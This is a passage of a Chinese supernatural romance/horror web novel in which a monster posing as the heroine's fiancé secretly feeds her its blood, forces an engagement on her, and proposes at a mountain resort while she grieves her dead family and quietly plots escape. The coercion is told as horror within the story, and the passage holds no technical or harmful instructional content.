楚黎吃了饭开始升糖,男女主在屏幕里吵架,她倚着抱枕昏昏欲睡。 “黎黎,把药吃了。” 冷白手指捏着一只小密封袋,里面装了六颗颜色不一的药片和胶囊。 这看起来像陈医生之前开的药,确定自己不是精神分裂复发,而是见鬼之后,她就没再吃了。 楚黎不接,满脸警惕:“我没病。” 觋楚把药倒在掌心,握着杯温水解释:“这不是之前的药,我和陈医生说了你最近的情况,她开了一些维生素和补剂,从今天开始,每天一次。” 楚黎默不作声打开手机,在社交软件向陈医生求证。 他不催,坐在楚黎身旁,陪她一起等回复。 很快,聊天框弹出新消息。 陈医生确认了此事,并叮嘱她按时服用,如果还是不舒服,到医院来复查。 楚黎瞥了眼花花绿绿的药,粉的橙的红的,一把抓起扔进嘴里。 酸、涩、甜多种味道像小炸弹在舌尖爆开。 其中一颗吃起来味道很怪,略腥略甜,之前吃治疗轻度精神分裂症的药,里面好像也有一颗是这样的味道。 楚黎皱了皱眉,用大半杯水才压住这股恶心的味道。 睡意彻底消失,电视剧也不够好看,她沉着脸乱按遥控器,节目换了一个又一个。 “黎黎,你看看,更满意哪套方案?” 手机屏幕横在眼前,占据了所有的视野,“订婚策划”四个字猝不及防挤进眼睛里,砸得楚黎头晕目眩。 随着手指滑动,一张又一张的策划案例图出现。 都是全新的,最近才出来的设计稿。 之前楚黎与霍修定下的,已经全部被弃用。 订婚。 这只怪物像同人类一样,与她订婚。 订婚完呢?祂还想做什么?结婚?生子?白头偕老? 楚黎陷入巨大的恐慌,那些案例图扭曲着钻进脑海里,她用力一挥,手机重重砸在地上。 “啪!”屏幕出现蛛网裂纹。 觋楚疑惑地问:“怎么了,是都不喜欢吗?” “不喜欢。” “黎黎喜欢什么样的风格,我让工作室出新的方案。” “不喜欢。”她脸色苍白,极力压制情绪,身体颤抖,“出再多也不会喜欢。” 觋楚推了一下新的金丝眼镜,温和道:“明白了。黎黎是不喜欢我,所以无论出什么方案,都不会满意,对吗?” 温和的语气像一把大火,引燃压制的情绪。 楚黎蓦然抬头,眼睛像两簇亮起的火,以厌恶为燃料:“我绝不会和你订婚。” 空气瞬间扭曲,阴影在房子四处狂乱扭动。觋楚的表情很平静:“你想和谁订婚?” “霍修,是吗?很可惜,他尸体都不剩了。” 这句话太荒唐可笑,以致于楚黎真的笑了出来。 一个短促的、略带讥讽的笑。 怒意蒙蔽了觋楚的理智,在他看来,如同默认。 名为嫉妒的情绪如同肆意奔涌的岩浆,流淌在身体的每一处,连隐匿的触肢都躁动不安。 楚黎所说的话一遍一遍在耳边回荡。 觋楚的眸光越发晦暗不明。 占有她,吞噬她,让她从里到外沾满祂的气息。 直到再也无法离开。 “无论是你还是谁,我哪个都——” 冰冷触肢缠上楚黎的腰,粗暴往前一拽,使她的话戛然而止。宽大手掌扣住她的后颈,觋楚表情平静扯下眼镜。 金丝眼镜摔在茶几上,又跳弹着落在地面。 潮热滚烫的吻瞬间压下。【你现在阅读的是 】 17、第十七章 潮湿滚烫的吻瞬间压下。 野蛮、毫无技巧,充满掠夺。如同撕下温和的人类皮囊,露出非人特质。 “滚……唔、唔……” 扣住后颈的手如铁箍,楚黎的声音刚溢出就被舌尖卷走。 她胡乱去推,指甲在他颈侧留下几道血痕。觋楚不为所动,舌尖撬开她的齿关,像某种冷血动物一寸寸侵占口腔。 沉沉的重量压过来,楚黎仰面陷进沙发,背后退无可退。 冰凉的手指与唇舌温度形成鲜明对比,顺着她的肩颈滑下,捉住抓挠的手,强硬挤入指缝,直到手掌完全贴合。 一只腿抵开双膝,这个姿势让楚黎警铃大作,更加用力挣扎起来。 她咬破了他的舌尖,血腥气在唇齿间漫开。 觋楚含糊低笑,舌尖侵入得更深。 浓郁特殊的腥甜味道与唇舌交织,他腾出手卡住楚黎的下颌,迫使她将这些液体完全吞咽下去。 “呕——” 觋楚终于退开一点,唇上沾着血,瞳孔黑沉沉。 “为什么这么抗拒呢?这样的事,我们明明也做过。” 楚黎抬手擦嘴,指节用力到发白:“因为那个时候的我,不知道你是只怪物。” 空气骤然凝固。 觋楚的表情没变,但整个房间的阴影逐渐显露原型,正在扭曲蠕动,像沸腾的沥青。他的声音轻地像叹息:“啊,怪物。” 扣住她后颈的手松开些,转为缓慢摩挲她的脊背。冰凉黏腻的触感爬上小腿,隔着睡裙布料缠绕,像蛇类丈量要绞杀的猎物。 他的指腹擦过红肿的唇,动作温柔得像对待易碎瓷器。 “如果换成他的样子,你会喜欢吗?”他的声音轻得想蛇信游过耳畔。 楚黎泛起一阵恶心,偏头躲避,下颌却被手指钳住,强迫她仰头直视。 “回答。” 她眼中的厌恶几乎要溢出:“你简直——” 刚张口,没说完的话又被唇舌吞没,觋楚面容冰冷,近乎啃咬。 扭曲阴暗的情绪在心里发酵,促使他问出了这个问题。 但他忽然不想听见答案。 觋楚将喘息与呜咽完全吞吃,冷漠地想,无论她回答什么,这辈子也别想看见霍修的皮囊。 喘息声与水泽交缠的声音持续了很久。 楚黎有一瞬间以为她会被这只怪物吞吃。 她很明显感受到了对方令人毛骨悚然的愤怒和饥饿感。 视线因为眩晕难以聚焦,脑海空茫一片,直到溢出的生理性眼泪被舌头舔走,才勉强回过神。 楚黎艰难喘息,口腔里沾满了熟悉的甜腥味道。 某种恐怖的猜测弹出。 她用尽力气推开不断舔舐的怪物,声音从喉咙深处挤出:“你给我吃的药,到底是什么?” 觋楚舔了舔嘴唇,似乎在回味,浓烈的饥饿感暂时得到满足,怒气也消退了大半。他直起身重新戴上金丝眼镜,温和含笑道:“黎黎真聪明。” 夸赞等同于承认,楚黎的脑子轰一声,嘴唇颤抖,脸白得像纸。 那是怪物的血肉。 她猛地推开他,踉跄着站起来,胃里翻江倒海冲进卫生间,趴在洗手台干呕,却什么都吐不出来。 镜子里,她嘴唇红肿,脸色惨白,眼眶通红。 身后传来脚步声。 觋楚如一道影子,如影随形。他的手从身后伸来,抚摸她苍白的脸,梳理凌乱发丝,并用热水打湿洗脸巾,动作轻柔擦拭她的脸。 他轻叹:“黎黎,这样可以延续你的生命,不要抗拒,好吗?” “……续命?” “你的身体里,有楚氏的巫蛊,将你带走的那个人类,在死前唤醒了它。黎黎,我想你应该不希望成为巫蛊的傀儡。” * 噩梦从这一天开始。 楚黎每天都要被强逼着把药吞下去,如果抗拒,觋楚会捏住她的下巴直接喂血。 无论再怎么逃避,她还是不得不承认,之前那种昏沉嗜睡的症状消失了,时不时的刺痛也消失了。 最近她查阅了很多资料,也向读历史专业的同校师姐打听关于“巫傩”“巫蛊”方面的消息。 巫傩文化起源久远,在传闻里是可沟通天地的存在。 至于巫蛊,查到的种类五花八门,没有一种与她的症状类似。 楚黎不明白,为什么楚家要在她身上种下巫蛊,从觋楚的话来看,这不是楚嵊种下的,而是在更早以前。 那会是在什么时候?又是出于什么意图? 楚家供奉的神明又为什么,非要缠着一个普通人类。 她感到茫然。 仿佛行走在迷雾里,跌跌撞撞,没有一个人值得信任。 社交软件上,同学朋友的生活眼花缭乱,高中同学去了海边旅行,吐槽吃海鲜被老板坑了。大学校友发了家里被小比格拆迁的图片,配文是“无偿送”,但又在几分钟后默默删除。 大家都活在正常的世界里。 只有她,家里住了一只怪物,生活充满了荒诞。 还有接近一个月,学校就要开学。 楚黎觉得,她大概率无法回到从前的生活了,毕业、出国、留学这些已经变成很遥远的事情。 觋楚无微不至照顾,但她肉眼可见消瘦下去。 房子里弥漫着压抑沉默的氛围。 他最近偶尔会单独出门,有时候是十多分钟,有时候是一小时。 回来的时候,楚黎会闻到若有若无的血腥气。 她不关心怪物去做了什么,杀人也好吃人也好,任何事情都令她提不起半点兴趣。 * 这天上午,觋楚又出门了。 走前叮嘱楚黎好好吃早饭,他很快就会回来。 雨季似乎过去了,城市里一连几天都放晴,落地窗外的公共草坪绿茸茸,阳光晴好。 桌面的手机轻微震动,锁屏上弹出日程提醒—— 妈妈生日。 楚黎盯着这四个字看了很久,握着手机,拿走玄关处的一串旧钥匙,换鞋出了门。 她打了一辆车,终点定位是楚家的别墅。 路上,司机偶尔会通过后视镜不动声色观察楚黎,尝试搭话。 轿车驶入富人别墅区,门卫在看见楚黎的脸后客气放行,直到下车,她都不曾说过一句话。 楚黎站在熟悉的前院大门前,人脸识别后,院门自动打开。 前院花草郁郁葱葱,一看就是有人长期在精心打理。 “咯吱——” 楚黎推开一楼大门,门内亮着灯,财经频道的声音点缀在房子里。 穿苏绣旗袍的清瘦女人正在侍弄紫竹架上的山茶盆栽,乌黑的头发随意盘起。 高壮的中年男人戴着眼镜,正在阅读报纸。 落地窗旁的单人沙发上,坐着位看书的少女,长得与楚黎有六分像,面容唇色都比较浅淡,原本在看书,抬头看见她,不禁笑眼弯弯。 楚黎一步步走近,坐在沙发上。视线依次在三人身上流连,扬起笑容:“爸妈,小悠,我回来了。” 女人也转过身,秀美的眉拧起,坐到楚黎身旁,捏了一下她的鼻子:“瘦了。是不是最近没乖乖吃饭?中午让你爸做点开胃的。” 楚父放下报纸,对她左看右看:“爸中午给你炖点补汤喝。” 楚悠则轻哼一声,纠正道:“是姐姐,你比我小,不许喊我的名字。” “你就比我早出生一分钟,我才不叫你姐。” “早出生两分钟也是早!” 吵吵嚷嚷的声音回荡在屋子里。 楚黎笑得前仰后合,擦了擦眼角渗出的泪花,目光温柔:“姐,好姐姐。” 三人都不说话了,用同样忧愁怜爱、微微皱着眉的表情望着她。 楚黎原本还在笑,渐渐的,笑容凝在唇角,像是要哭不哭的难看表情。 轻声说:“我好害怕。” 也很想你们。 她忍不住扑进了妈妈的怀里。楚母将她温柔抱住,楚父在身后轻轻拍她的背,楚悠蹲在她面前,将脑袋放在她的膝盖上。 压抑的情绪像找到了堤口,眼泪争先恐后涌出。 楚黎伏在亲人怀里,絮絮叨叨说了很多,他们始终用怜爱包容的表情注视她,为她擦拭好像永远也擦不完的眼泪。 她不记得自己诉说了多久,又哭了多久。 只记得自己做了一个很漫长的梦,梦里一家四口围坐在餐桌,有说有笑在吃午饭。 她和楚悠因为谁吃唯一的鱼泡吵了起来。 鱼泡最后还是给了楚悠。 楚悠扮了个鬼脸,得意洋洋:“你以后还能吃很多很多年鱼泡,但我吃不了多少年了,你当然要让着我啦。” * 楚黎恍惚睁开眼,眼睛酸涩肿胀。 眼前是盖着防尘布的茶几,窗帘没拉紧,一线夕阳从窗帘之间的缝隙进入,空气里弥漫着淡淡灰尘。 她侧躺蜷缩在沙发上,身上盖着薄毯。一个人侧坐在她身旁,是熟悉的侧影,不知道坐了多久。 他眼睫低垂,不知道在想什么,眉眼间少有地浮现出一丝疲态。 楚黎僵硬看着四周。 没有父母,只有冷清的、许久无人居住痕迹、盖满防尘布的房子。 客厅矮柜上摆了三张黑白照,从左到右,分别是楚父、楚母、楚悠。 她恍惚想起,自己的父母姐姐已经去世好几年了。 只是她一直不接受这个事实,逐渐演变成精神分裂症,陈医生迫于无奈,才对她进行了催眠。其实潜意识里,她是知道的,不愿面对罢了。 偌大的房子空荡荡,只有她,和一只披着人皮,不知皮下是什么的怪物陪着。 楚黎扯了扯唇角,眼泪无知无觉涌出来。 “……黎黎?” 那丝疲态转瞬即逝,觋楚敏锐察觉到她醒了。怪物原本是没有心脏的,此刻捏造出来的人类身躯的胸口处狠狠痛了一下。 好似那天被匕首捅入,甚至比那还痛苦。 他动作很轻,沉默地将人抱起,按在怀中,压在肩窝处,学着人类的方式,略显笨拙拍了拍她的脊背。 “对不起,我不该逼你吃不喜欢的东西,以后都不需要再吃了。” “不要哭,黎黎,不要哭” 不通人性的怪物语无伦次地道歉。【你现在阅读的是 】 18、第十八章 楚黎曾经生活在一个很幸福美满的家庭。 父亲开明爽朗,是个白手起家的富一代,最大的爱好是为妻女下厨。 母亲管家里和公司的账,还有一家工作室,出售雅致的手工艺品。最受欢迎的,是各种神秘美丽的面具。 唯一遗憾的,是双胞胎姐姐楚悠患有先心病,极有可能活不到成年。 但这并不妨碍她们亲密无间,争吵打闹。 楚黎第一次经历生离死别,在十五岁的春天。 双胞胎姐姐逝于一场春雨后,临终前她握住楚黎的手,嘴唇泛紫,杏眼弯弯。 “黎黎,不要难过,我只是自由了。以后的风景,请你替我多看看。要开心,要健康,要勇敢。” 哪怕早有准备,楚悠的离开还是让父母悲痛欲绝。 举行完葬礼的那个夜晚,他们抱着楚黎嚎啕痛哭,用一种她看不懂的复杂目光,一遍一遍抚摸她的脸,又将她用力抱在怀里。 母亲说:“没事,没事……无论怎么样,爸爸妈妈都会让你健康平安的。” 那时的楚黎懵懂搂抱着父母,发誓自己会更加努力,把姐姐的那份担子也挑起,以后绝不胡闹。 听见她这样说,父亲热泪滚落,捧着她的脸,重复道:“只剩你了,黎黎,我们只剩你了。爸妈什么都不求,只要你平安。” 冬去春来,寒来暑往。 姐姐的离世成了楚黎心中一场潮湿的雨,不猛烈,但连绵不绝。她很好履行了楚悠的遗愿——代替她多看这个世界的风景。 她将外出拍摄的风景照片冲洗出来,和每周的周记一起存放在楚悠的房间书柜。 父母一直没能从大女儿的离世走出来,虽然平时没有异样,说说笑笑,但路过楚悠的房间或用过的东西都会默默看上好一会。 因此,楚黎几乎不与他们说烦心事,不想他们再平添烦恼。 高中毕业的暑假,家里终于久违地轻松和乐起来,父母仔细查阅资料,为她选专业做功课。 还提出一家三口外出旅行。 自从姐姐离世,家庭旅行就取消了,楚黎都是和朋友一起去的。 她很期待这次旅行。 天不遂人愿,出发前夕,父亲做了满桌好菜,等楚黎兴高采烈吃完,才欲言又止告诉她,旅行要推迟了。 外地的子公司的重要项目出了问题,他和母亲要一起去处理。 母亲抚摸她的脸颊,语气温柔不容拒绝:“小宝,妈妈有位朋友,她那边风景好,适合度假,你去那边住一段时间,等解决了爸妈就去接你。” 楚黎隐隐觉得不安,提出要一起去出差,被父母坚定拒绝。 行李当天就被打包好,父母絮絮叨叨叮嘱了很多,说得最多的就是—— “乖宝,千万要戴好铜钱,不要弄丢了,知道吗?” 母亲为她轻柔整理头发,目光柔和至极。 “平平安安,健健康康。” 说完,轻轻一推楚黎,目送着她出门、登车。 车程很漫长,中途辗转换乘了几次。 母亲的朋友住在江南水乡,青山上的一座三进院子,青石黛瓦,风景的确很好,但与世隔绝,几乎没有信号。 接待楚黎的是位清瘦女人,看不出具体年纪,眉目沉静,手腕缠着圈木珠,面上噙着淡笑,十分随和。 她自称明菩,楚黎便喊她“菩姨”。 院子里还有一位和她同龄的女孩,叫明纯,是明菩的徒弟,性格活泼狡黠,没信号的时候,她带着楚黎漫山遍野地跑,捉萤火虫、采野果,去山溪泡脚…… 楚黎一开始还很不安,会整天找有信号的地方给家里打电话。但说不了两句,就会断断续续,说半天都聊不完一件事。 后来两人玩得太疯,电话又很难打出去,她就好一段时间都没给家里打电话。 直到后知后觉一个月已经过去了,但父母还没有来接,才意识到不对劲。 父母的电话拨不通了。 反复拨打上百次,都是关机状态。 楚黎握着“嘟嘟”响的手机,站了很久很久,站到月亮冒出山头。然后猛地冲回自己的房间,开始胡乱收拾东西,一边收,眼泪一边往外冒。 托着沉重的行李箱走到小院大门时,明菩与明纯站在门口。 明菩:“小黎,你的父母三日前意外身亡,已经将你托付给我。你身上有一因果,不离开这,我可想办法为你遮掩,安度余生。” “如果你执意离开,只能亲自去应这份因果。我不拦你,但你要慎重抉择。” 明纯小跑上前握住楚黎的手,近乎哀求:“小黎,你留下来吧,我师父说的话不会有错的,不要走。” 楚黎已经想不起来,当初的自己,是怀着何种心情托着行李箱,沉默越过门槛。 她被绊倒摔在地上,满手是血爬起来,恍惚想起来自己还没道谢。 于是回头,呆呆木木道:“谢谢菩姨照顾,我要回家了。小纯,再见。” 明菩拦住了想出门的明纯,没有阻拦楚黎。 她的叹息声如夜风:“该来的,总是避不过。还会再见的,别急。” 在高三毕业的暑假,十八岁那年,楚黎成了孤儿。 * 手掌顺着长发,一下又一下抚摸后背。 把楚黎从痛苦漫长的回忆拉出。 这个动作太熟悉,是母亲安抚她时经常做的。 沉默滚落的泪一止,紧接着更多的、更滚烫的眼泪不停涌出。 情绪像破洞的口袋,压抑的抽泣声逐渐变成崩溃痛哭。 她哽咽喘息,如溺水般攥住觋楚的衣襟,手指在西装面料上留下许多褶皱。 这一刻什么也看不见,她把头埋在冰冷的胸膛,短暂逃避现实,换取一点喘息的空间。 然后悲哀地发现,她竟然在这一刻产生了近似依赖的情绪。 笼中鸟试图逃离笼子会受伤,开始觉得笼子是安全的。 楚黎哭了很久,哭到抽噎反胃,意识昏沉。 觋楚由始至终没有说一句话,只是从笨拙得拍她后背变成了熟练地轻抚。 力竭昏睡后,她朦胧间听见了低语。 一双手捧起她的脸,温柔拭去泪痕。 “黎黎,我永远、永远都不会离开。”【你现在阅读的是 】 第十九章【VIP】 第19章 第十九章 戒指 回到家后, 楚黎开始发高烧。 每天的时间里,有大半都在昏睡中度过。她睡得很不安稳,梦境光怪陆离, 时常听见身体里的血液在沸腾,骨头像被一寸寸敲开,又重新捏塑。 迷迷糊糊感受到有人在为她擦汗、喂水、喂饭、换被汗浸湿的睡衣。 “妈……” 楚黎喃喃低语, 一只手握住了她,体温偏低, 像温度正好的降温贴, 她翻了个身, 将脸贴上去。 那只手僵了一下, 默然不动,任由她贴着。 渐渐地, 更多冰凉柔软的东西足尖开始缠上来, 像藤蔓般将她包裹。 楚黎陷入了冰凉柔软的海洋。 这场病来势汹汹,三天后她的烧才彻底退下去。 冰凉柔软的触感好似做梦, 楚黎醒来时, 身上清爽干净, 身体有些虚软, 但精神很好, 和以前发烧之后的感觉不太像。 床边坐了个意想不到的人, 见她醒来, 眼睛微微亮起。 “黎宝……”辛桐下意识想拉她的手, 快碰到时,想起往事,又讪讪止住动作。 “你怎么来了?”楚黎下意识在房间里扫视,“他让你进来的?” 辛桐将她扶起, 又递去一杯水:“我最近给你发消息,你都没回。我怕出事了,去霍修的别墅找过你,那里没人,我就找到这了。他说你病了好几天,就让我进来了。来,喝点水。” 楚黎一口气喝了大半杯,垂眼避开她的视线:“我没事,你回去吧,不要再来找我了。” 她的生活已经一团糟,不愿意再把无辜的人牵扯进来。 “我不走。”辛桐用力握住她的手,“我知道自己做错了事,但从开始到现在,我都是真心将你当最好的朋友。你有麻烦,我不可能光看着。” 房间窗帘半开,光线明亮柔和。 楚黎看着她,想起了很多过往。 她们认识太久太久,她过往的人生,过半的时间都有辛桐参与。 “桐桐,我不怪你。” 该怪的是一切的始作俑者霍修,不是当年那个刚上初中,涉世未深的辛桐。 “我只是希望你好好的,远离这些事,我已经没有亲人了。”楚黎朝她弯了弯眼睛,“不想连朋友也失去。” 辛桐深吸一口气,仰头望着天花板,试图把汹涌的眼泪逼回去。 楚黎正想抽纸巾给她,掌心忽然有点痒。 手指在她掌心,隐秘移动着,缓慢写下几个字。 ——‘明微道长联系了我,已找到高人,有转机。’ 楚黎像雕塑般被定在原地,只会怔怔望着她。 那根手指还在继续写。 ——‘稳住祂,别被察觉。’ “黎黎,身体还有不舒服的地方么?” 一道声音毫无征兆插入。 觋楚把清淡精致的午饭放在床头柜,站在辛桐身后,唇边含着浅淡笑意,视线平淡无波落在两人交握的手上。 一声尖叫溢到嘴边,辛桐硬生生咽下去,后背寒毛倒立,有种会被视线杀死的错觉。 在来之前,明微道长已经通过手机,告知了她部分关于“霍修”的事,她也知道了好友身边的这个已经不是霍修,而是恐怖未知的存在。 冷汗顺着脖子滑入后背,辛桐迅速放开了楚黎的手,身后的视线才慢吞吞移开。 “我、我就不打扰你们了。”她起身让开床边的位置,视线一寸也不敢往旁边挪,顶着压迫感继续开口,“明天……再来看你。” 后半句话烧尽了觋楚本就稀薄的耐心。 今天容忍辛桐进来,是猜测楚黎久病醒来后看见她,心情或许会好。 可贪得无厌的人类提出明天还要来。 “不——” 楚黎迅速截断他的话,拉住辛桐冰凉出汗的手,笑眼弯弯:“好,明天来。”继而看向觋楚,语气略带埋怨,“你干什么,进来没声音,吓到桐桐了。” 辛桐背后恐怖的压迫感一点点收回去,像狰狞凶狠的怪物强行收敛了利爪。 他的视线钉在交握的手上,脸上的温和表情像贴图般虚假僵硬:“黎黎,你刚退烧,需要静养。” 床尾对着梳妆桌,上面有一份纯白文件夹,封面有婚礼策划工作室的烫金logo。 里面夹了几分策划案。 楚黎的视线从文件夹上收回,微微一笑:“桐桐是我最好的朋友,我们要订婚,我当然要和她商量布置细节了,她可是摄影师。” “她明天过来看我,不可以吗?” 她用最平静的语气说出了很具有冲击性的话。 * 觋楚把同手同脚的辛桐送出门,并礼貌性提醒对方注意台阶。 态度与先前截然不同。 “哦哦……好的。”辛桐扶着门框出门,挤出僵硬笑容,“那我明天再来看黎宝?” 觋楚颔首,迫不及待关上门,一刻也没耽搁,转瞬就到了房间门口。 午后的阳光从落地窗洒入,纤瘦的人影侧靠床头,正在安静用餐。 乌黑发丝衬得侧脸似白玉般静美姣好。 病后醒来,虽然精神很好,身体却四处乏力,她吃得很慢,小口小口抿着清淡鲜美的鸡汤。 “我来。”骨节分明的手接过碗勺。 觋楚捏着汤勺喂她,一口又一口,看不出她的丝毫抗拒。 他的视线不由自主追随不断张合,柔软的唇。 脑海里被楚黎刚刚那句话完全塞满,目光越来越炽热,潜伏在房子四处的阴影更是蠢蠢欲动,恨不得立刻筑起血肉构筑的巢穴,将人包裹在内。 汤勺触碰碗底,发出“叮”一声响,他的喉结滚动几圈,视线蕴含着令人毛骨悚然的欣喜。 “黎黎,你说愿意与我订婚,真的?” 楚黎被子下的手悄悄攥紧,垂眼避开太滚烫的视线:“嗯,是真的。” 滚烫的喜悦浇在觋楚心上。 但很快,他就冷静下来。 上一次,她也是这样进行欺骗,那这一次,是否真心? 觋楚捧起她的脸,紧盯着那双漂亮的眼睛,“黎黎,为什么突然改变主意?” “就算我不改变主意,两周后的订婚仪式会取消吗?” 觋楚沉默片刻,坦诚道:“不会。” 他不会伤害楚黎,但必须将她绑在身边。 “既然事实无法改变,那我选择接受。”楚黎与之对视,“而且你不会伤害我,对吗?” “是的,我不会伤害你。”觋楚慢慢抵住她的额头,神情柔和,比任何一刻生动,“永远不会。只要你不再离开。” 楚黎注视着眼前俊美非凡的皮囊。意识到,这只怪物真切地喜欢她。 可是,怪物也会有心脏吗? 也会拥有人类的情感吗? 她想起了几天前,他们之间的拥抱,他从略微笨拙到熟练的安抚。 出于一种说不清道不明的情绪,或许是歉疚,或许是补偿,她闭上眼,仰头触碰了一下他的唇。 以一个轻到不能再轻的吻,代替了回答。 * 订婚仪式开始紧密筹备起来。 辛桐时不时会来一趟,两人凑在一起商议,把仪式地点定在楚家别墅。 她充当了消息中转站,负责把明微道长的话传递给楚黎,再把楚黎这边的情况告诉明微道长。 答应订婚之后,觋楚对楚黎的占有欲有增无减。 越临近时间,这种占有欲就更浓重,恨不得时时刻刻都盯着她,又或者把已经确认无数次的流程翻来覆去地看。 楚黎上网查了一下,他可能得了“婚前焦虑”。 离订婚还有五日,公司要开重要会议,董事长不能缺席。 觋楚把楚黎带到了公司,两人握着手经过办公区,被员工反复注目。 她被安置在休息室,觋楚反复叮嘱她不要乱跑,才不情不愿去开会。 林特助按上司指示,摆了一桌精美的下午茶,又调好投影仪,才站到门外守着。 休息室有一面是纯玻璃,拉下百叶窗后,也能若隐若现看见外面的办公区。 八卦声断断续续传来。 “哇,第一次见到董事长的女朋友!” “应该叫未婚妻,我听林特助说,过几天就要订婚了。” “他们看起来感情很好哎,你们没发现吗,刚刚老板的眼神好凶啊,都不许看。” “感情本来就很好啦,最近为了照顾未婚妻,董事长都很少来公司了,我摸鱼时间都变多了,希望以后也少点来嘿嘿。” “这个必须接!” 楚黎听了一耳朵八卦,心情很复杂。 老板都换人一个多月了,居然没人察觉到打工人只在意能不能多多摸鱼。 世界果然是巨大的草台班子。 会议开了许久,楚黎习惯午睡,等了一会开始犯困,窝在沙发上想小眯一会。 她在一阵轻微颠簸中醒来。 视线从朦胧变得清晰,线条分明的下颌与起伏的喉结近在咫尺。 一只手环抱她的腰身,另一只手按在后脑上。 镜片后狭长的眼眸低垂凝视,喉结随着说话滚动:“醒了?” 车窗外的风景变成模糊的绿色波浪线,不是海市城区的路。 楚黎侧坐在觋楚的大腿上,有肉-体当垫子,难怪睡得那样沉。 “这是要去哪?” 觋楚眼中含笑:“去度假。” * 莫兰山庄建在郊区青山的半山腰上,建筑风格简约雅致。 山上树木茂盛,迎面吹来的风带着草木清香,没有暑热。 抵达时,西斜的太阳挂在远处的青山尖上,大团蓬松的云堆积在低空,仿佛触手可及。 楚黎没想到觋楚会把她带来这。 这里是近两年新建的高奢度假酒店,她有所耳闻,也计划过来玩,后来因为病情耽搁。 他们的房间在顶层,落地窗外是如翡翠的人工湖,以及大片的草坪。 露营区的帐篷像棉花糖点缀在草地上。 楚黎承认这里的风景很优美,住宿环境也非常舒适,但还是不理解,为什么觋楚会突然带她出来度假。 毕竟在这只怪物的脑袋里,恨不得无时无刻和她待在家里,做一对天长地久的死宅。 “为什么突然想到度假?”她试探性问。 觋楚一反常态地沉默,避而不答:“傍晚有篝火晚会和露天烧烤,黎黎想去吗?” 猜不到真实意图,楚黎有种微妙的不安。 “去吧。”顺便看看他葫芦里卖什么药。 * 篝火晚会在湖岸举行。 三三两两的住客聚在一处,餐台摆满琳琅精致的小食,侍者在一旁弹奏乐器。 烧烤食材准备得很齐全,大多数客人都不会亲自去烤。 因此烤架前衣冠楚楚,背影修长的男人格外显眼。 楚黎正在嚼烤牛肉,附近的女生朝她举了一下手中的香槟,友善打趣道:“那个是你男朋友吧,好贴心啊。” 她礼貌地回应了几句,女生走后,望着篝火出神许久。 舒缓的吉他与湖水一起流淌。 篝火噼里啪啦燃烧,楚黎的余光多了一道身影,火焰为雕塑般的面容镀上暖光,淡化了非人气质。 他取走楚黎面前烤盘里冷掉掉的食物,摆上新烤好的。 手指碰了碰她的脸颊,轻笑道:“怎么不吃了?” 楚黎忽然像一脚踏空,心急速下坠。 眼前的这一幕,值得用所有温馨美好的词汇去描述,但她生出了一点恐慌。 这只怪物,正在学习如何成为人类伴侣。 祂在为人类产生改变。 这不是一件好事。 因为怪物永远不会变成人类,无论如何模仿。 楚黎开始担心真相暴露之后的场面。她嗓子发紧:“有点撑,不想吃了。” 如果觋楚像之前那样,威胁、逼迫,她可以毫无心理负担。 但不能是这样。 “怎么了,黎黎?”他敏锐察觉到未来伴侣的异样,轻轻抚摸她的侧脸。 楚黎心情沉重摇头,“没事,可能是有点累了。” 按照往常,觋楚会马上带她回去休息。他目露犹疑,“我想带你去一个地方,有礼物送给你。” 楚黎的心紧了紧,有种不妙的预感。 “不会耽误太久的,可以吗?” 摇曳的火光落在漆黑的眼瞳里,令她想起璀璨的星子。 楚黎最终没有拒绝:“好。” 觋楚所说的地方,在莫兰山庄的观星台。 穿过精心养护的草坪,顺着小石道蜿蜒而上,沿途栽满应季的花木,大簇的无尽夏挨挨挤挤。 觋楚将她一路抱至观星台。 楚黎在路上,莫名感受到他的紧张,因为他模拟出来的人类身躯,心脏跳得很吵。 观星台上烛光闪烁。 花,目光所至都是花,铺满了观星台。浓烈的花香纠缠着夜风。 觋楚弯腰将她放下,然后从中央最大的花束中,取出了一个盒子。 披着人类皮囊,俊美高大的怪物一步步走来。 他的表情比任何时候都像人类。 观星台之外的黑夜里,黑影纠缠舞动。楚黎的余光注意到,黑色触肢攀上观星台的栏杆,将精钢栏杆像废纸一样压变形。 地面花朵海洋的间隙里,细长的触肢交错蠕动。 有一根实在按捺不住,自以为隐蔽地缠住了楚黎的脚踝。 冰冷的触感像蛇、像一切可怕的软体动物。 觋楚终于停在她面前,目光浓烈到能将人灼伤。他打开了手中的小盒子,璀璨的钻石戒指光芒闪烁。 他的唇角扬起,眼睛里没有瞳光,也不需要眨动,只是一错不错盯着楚黎。冷白的皮肤下,偶尔有东西蠕动凸起,仿佛随时要冲破这张皮囊将她吞噬。 “黎黎,人类在订婚之前,要赠送未来伴侣戒指。这枚戒指,我可以为你戴上吗?”【你现在阅读的是 】 第二十章【VIP】 第20章 第二十章 约会 在浓烈视线的注视下, 楚黎忍不住吞咽唾沫,后背出了一层冷汗。 也许是她的表情太僵硬,觋楚走近一步, 阴影将她笼罩。 “黎黎?”扬起的唇角慢慢平直,“你不愿意吗?” 时间仿佛在这一刻静止,空气厚重粘稠。 白皙的右手缓缓递出。 “没有。”楚黎扬起笑容, “我很高兴。” 缠在她脚腕上的触肢忽然收紧,她隐约听见了某种古怪奇特的声音, 像虫类低声嗡鸣。 觋楚盯着白皙柔软的手, 瞳孔放大, 冷白的皮肤透出一点潮红。这些细微的反应, 与他维持的温和表情非常割裂。 他轻轻托起,小心翼翼捏着戒指套进她的中指。 一寸一寸, 完全贴合。 楚黎的手被用力握住, 她忽然有种被舔舐的感觉,一幅画面在脑海里展开—— 指腹裂开缝隙, 探出灵巧的舌, 舔舐亲吻她的肌肤。 低低的嗡鸣声汇聚在一起, 如同潮水起伏。 她听不懂其中含义, 但能感受到其中的狂热。仿佛迫不及待, 要将猎物绞碎吞进肚子里。 觋楚俯身靠近, 抚上她的脸, 喃喃:“怎么出了好多汗。” 指腹擦去冷汗, 留下一点濡湿的触感。 仿佛不是被擦掉的,而是被舔走了。 楚黎的心堵在嗓子眼,跳到闷痛,声音干涩:“第一次被求婚, 有点……紧张。” 觋楚认可了她的解释。 最近他查了很多人类备婚的攻略,未来伴侣在被求婚时,出现紧张的情绪是正常的。 “其实我也很紧张。”他弯了弯眼睛,“你能答应,我很高兴。” 俊美立体的面容逐渐靠近。 楚黎的身体瞬间紧绷,哪怕在心里反复暗示不要躲避,在薄唇即将贴上来时,她还是忍不住扭开了头。 柔软的触感落在她的侧脸。 不等觋楚开口,她打了个哈欠,拉住他的衣角说:“吹了一会风,头有点疼,好困。” 伴侣的身体健康被觋楚放在第一位。 